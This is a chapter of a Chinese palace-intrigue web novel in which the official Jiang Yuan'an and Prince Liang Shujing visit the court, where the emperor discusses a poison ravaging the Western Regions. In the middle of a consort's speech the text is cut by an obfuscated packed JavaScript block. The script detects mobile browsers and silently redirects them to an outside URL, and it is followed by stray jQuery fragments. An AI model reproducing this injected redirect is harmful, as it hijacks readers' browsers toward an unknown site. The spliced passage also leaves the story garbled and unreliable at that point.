翌日。
“小姐...小姐?”
睡梦中的江愿安只觉有人在不停唤着自己,但眼皮却有如千斤重,无奈翻了个身,准备接着酣然入眠。
“小姐,您再不起,璟王殿下就来了。”
听到知秋口中唤出那人的名字,江愿安这才猛然坐起身来,满脸倦意的问向知秋:
“你方才说谁要来?”
知秋见自家小姐终于起身,才将一旁在暖炉边烘了许久的围绒袄子取来,又将手炉递给江愿安,
“哎呀,小姐,您快起吧,这时候去璟王那里交差都要来不及了。”
听到知秋这么讲,江愿安犹如五雷轰顶,匆匆忙忙穿上袄子用了早膳就备上马车往元璟府赶。
唉,怎么能有人上岗第二天就迟到呢...江愿安在马车上呆呆地想,纵使一肚子苦水,谁让自己不争气,也只能就此作罢。
没关系,怎么不算是睡了一场好觉呢...
梁疏璟虽说作为摄政王,但并不喜赶朝上的早会,更何况如今府上还多了个少卿,便更是挥挥衣袖从此不再过问朝务政事。
“少卿,今日何故如此匆忙?”
看到江愿安满身寒意风尘仆仆的进来,他一眼就明白怎么回事。
江愿安些许心虚的看看他,梁疏璟倒没有苛责的意思,缓缓放下手中的描金兔毫宣笔,继而饶有趣味地抬起眸子盯着她。
“嗯...就是...嗯...”
听她这副支支吾吾的口气,他轻笑一声,趁人落井下石总不好。
“午膳用了吗?本王特意吩咐膳房留了一份。”
梁疏璟刻意咬重了“特意”二字,似乎是点明了她今日的所作所为。
江愿安闻言一瞬瞪大了双眼,又不好意思的朝他笑笑,推脱说不用不用。
“皇帝今早派人来请本王入宫商讨西域事宜,到时候少卿跟着一起进宫,也算是补了今早的缺勤。”
不过元璟府今日的天色倒是比昨日更胜一筹,瓦檐滴着上头被晒化的雪水,顺着雨链汇至曲曲绕绕的细渠,渠水活得很,映着天光一片浮光跃金的好景象。层楼叠榭错落有致,一条长廊直通静心亭,亭周布满怪石,再往下便是渠水的交汇处。冬日的元璟府虽不见郁郁葱葱,积雪确将四周都浸入白色,偶有两支不起眼的红梅,悄悄绽在枝头。
宫里来的马车不久便停在了门口,璇玑正欲敲门上报,江愿安便推开门要出来,于是便低头屈膝问了句江少卿安。江愿安在府上待的时间虽不久,但下人总归是认识几个,她一眼便认出这是如今皇上从宫里派来的管家,想必在府上的地位也不容小觑。
“快起身吧,我只是一个小少卿,用不着行礼的。”
“江姑娘万万不可,圣上吩咐了,璟王府上的规矩切不可出差错,都要按着宫中的来。”
江愿安长舒了一口气,心想皇帝手还真是长,都伸到璟王府来了。
“璇玑,将那件月白披风取来,一路舟车劳顿,少卿身子骨单薄,路上勿要受寒了。”
语落,江愿安愣在原地心里又接着默默得意起来,心想难得璟王如此贴心了一回。要不是被梁疏璟扯了扯衣袖,都忘了还要干正事。
须臾过后璇玑便送来了一件绣工精致的披风,月白缎面的,滚边绣了极为精细的祥云纹,又铺上套针绣出的宝相花纹,江愿安见状只好小心翼翼接了过来,心中却在疑惑元璟府上明明没有女眷,怎么会有女子用的披风。
“不早了,我们走吧。”
梁疏璟退身半步,伸手示意让江愿安先上车,江愿安手里抱着披风,踉踉跄跄爬了上去。
“今晚带着下人先用晚膳,不必等我们了。”
语落,两人便乘着马车离开了元璟府。
从元璟府到宫中少说也要一个时辰,江愿安透过车窗看天外暮色渐晚,不觉一丝寒意涌入心头,默默裹紧了梁疏璟方才为她备的披风。
不过...
“殿下,少卿有件事不知当讲不当讲...”
一旁闭目养神的梁疏璟知道她又要开始在旁边喋喋不休的讲起废话,只能无奈应了声:“讲”。
“这件披风做工虽然是极好的,但元璟府上怎么会备女子的衣物呢...莫非...嗯...”
江愿安一副若有所思的模样点了点头,像是窥探到了梁疏璟秘密的露水情缘一般。还没来得及自我认同,就被梁疏璟毫不留情地揭穿,
“我看少卿是吃饱了闲的,一件披风也能想到这些。”
江愿安顿时黑了脸,“哎呀,那你倒是跟我讲讲这是哪来的呀。”
梁疏璟也学着她若有所思地点了点头,
“不告诉你。”
什么——!可恶啊...
不过这锦缎披风已被他在府上珍藏许久了,是他吩咐绣娘按照母亲生前最喜的布料与花纹仿制出来的。
两个人在路上又开始斗起嘴,江愿安回回都吃了瘪,干脆一不做二不休,两手一横默默闭嘴。
宫中还在扬扬洒洒飘着鹅毛大雪,厚厚的一层积雪覆在飞檐屋脊之上,与宫中的黄瓦红墙形成一片静谧萧凉的冬景。
气势恢宏的景阳宫内,镂空雕花熏炉内正暖暖烘着银丝碳。
而这处居所的主人静静端坐在暖绒塌子上,身上那袭纹样繁复的绛红金丝绣凤宫装难衬她半分姿色,即便只懒懒挽了个流苏髻,也掩不住眉目间的妩媚,发间插了由先帝赏赐的飞云金钗,面上更是缀了颗颗圆润却极其难寻的八颗东珠。但她眸子却伴着熏炉中的灰烬渐渐沉下来,阴冷的盯着膝下跪着的那名宫女,宫女哪里敢抬头,只是胆怯地跪在地上瑟瑟发抖。
还未等那小宫女开口求饶,女子便轻启朱唇吩咐道:“拖到慎刑司,赐毒酒,留个体面吧。”
一旁的公公弯腰答是,随后便带人将那宫女拖了下去,整座大殿都回荡着宫女被拖下去时口中的哭号惨叫,女子不悦地蹙了蹙眉,伸手一把将案上那盘饱满剔透的樱桃打翻在地。
她身侧另坐了一名妃子,相较于她则成了花丛中淡淡的一株茉莉。眉眼温润如黛,说起话来如潺潺春泉,软声劝道:
“娘娘,如今三皇子已经登基,璟王也并非我等能轻易拿捏之辈,此事还需从长计议,您万不可气火攻心,伤了身子...”
“从长计议?你要我如此从长计议?沈问策、梁疏璟这两个该死的崽种,一个本应在娘胎里就断了气,一个更是应陪着那沈汀兰死无葬身之地,如今不仅没死,更是在我面前嚣张成这般!”
话音刚落,她像是又想到什么,精美的面容上少了些怒气,取而代之的是一阵深不见底的惶恐。
“不...他们不敢拿我怎么样的...我手上还有先皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809578|175159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
御赐的圣旨...纯妃啊纯妃,你当真是在地底下都不能让我好过!”
今日入宫商讨西域事宜的并不止梁疏璟二人,陇川谢氏、望川杜氏,以及太尉、参政等等,乌泱泱也算是站满了偏殿,梁疏璟带着江愿安下车后一一都见了一遍,众人还未来得及寒暄,便被皇帝召见入殿。
“参见吾皇,吾皇万岁万岁...”
“众爱卿免礼。”
“今日唤众爱卿前来,是接西域使臣急报,向我朝寻一味解药。西域城中最近在风靡一种名锁心草的毒物,吸食后可致人沉迷梦魇之中,如若不能走出梦魇,三日后便七窍溃烂而亡。短短七日,西域城内已经民不聊生,横尸遍野,而西域宫中研制出的解药却总不见效,眼下情形很是焦灼。”
众人闻言一惊,看来确实是毒物。
谢氏家主谢远道最先启奏:“启禀皇上,此物微臣略有耳闻,但锁心草生长畏光,喜严寒,西域域内必定无法生长,想必定是有人想借此大伤西域子民,妄图在西域引起暴动啊。”
随后立刻有人应声附和:“臣以为,皇上务必小心此物,一是不可流入关内,二是不可让有心之人借机败坏两国的友好邦谊。”
沈问策紧紧锁了锁眉头,依旧是将目光看向谢远道:
“谢尚书可有办法制出解药?”
谢远道赶忙低下头,“回皇上,要研制解药...恐怕要先找来锁心草。”
“无妨,西域的探子送来了一株,但...仅仅一株,爱卿可有把握吗?”
“臣请斗胆一试!”
闻言,沈问策才终于舒展开眉头,
“好,若三日之后事成,朕必有重赏。”
谢闻道早闻极寒之地易长此物,但成熟极为困难,需要人为干预,如今看来,幕后之人势必要给西域带来一场霍乱。不过解药并不难研制,极寒之地生长的草药,只需极阳之地生长的石菖蒲便可化解,为何西域御医却迟迟研制不出解药?
“此外,命鸿胪寺近期严加看管外来药物,尤其是负责西域的都亭西驿,务必不得让此物流入我国关内。今日便先到这里,时辰不早了,众爱卿都退下吧。”
江愿安刚喜滋滋的想走,却被梁疏璟一把扯了回来。
“璟王,朕想听你说说如何看待西域一事?”
“臣弟先前听闻西域有一部族喜炼邪术,却因残害生良遭到驱逐,至此下落不明,此次暴乱,大抵与那批族人脱不了干系。”
“但朕听西域探子来报,城中并未出现那批族人的身影,更甚,凶手至今还藏于幕后。”
梁疏璟似乎没料到事件如此棘手,“那莫非是西域皇室有人动的手?”
沈问策摇了摇头,“罢了罢了,还是等谢尚书制出解药再议吧,二位晚膳用了没有?不如留在宫中与朕一同用了罢了。”
江愿安正愁肚子饿的咕咕叫,梁疏璟却抢先一步开口道:“多谢圣上,方才在王府用了晚膳来了。”
皇帝见此情形也不再多做挽留,挥挥衣袖,先行离开了正殿。
“什么族,食人族吗?听起来这么凶残...”江愿安在一旁又嘀咕起来。
“我瞧少卿还是闭嘴吧,到时候皇帝第一个派你去西域打头阵。”
“哎——那可不行。”
两个人你一言,我一语,迎着风雪一前一后上了马车。